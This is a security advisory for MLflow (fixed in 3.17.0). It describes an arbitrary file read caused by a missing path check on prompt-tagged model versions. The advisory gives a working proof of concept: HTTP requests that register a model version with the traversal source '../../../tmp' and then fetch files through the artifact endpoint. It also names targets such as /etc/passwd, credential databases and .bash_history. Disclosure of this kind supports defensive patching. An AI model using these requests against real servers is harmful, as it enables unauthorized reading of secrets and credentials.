MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source
GHSA-m65p-9j7q-6w33 · CVE-2026-116690 · 갱신 2026. 10. 28.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | mlflow | 3.17.0 |
GHSA-m65p-9j7q-6w33 · CVE-2026-116690 · 갱신 2026. 10. 28.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | mlflow | 3.17.0 |
The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782:
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path
return _send_artifact(artifact_repo, artifact_path)
_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().
Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
First, create a registered model:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{"name": "pwned-model"}
Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:
GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000
This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).
Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:
/etc/passwdmlflow-auth.db or basic_auth.db)/home/user/.bash_historyThreat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.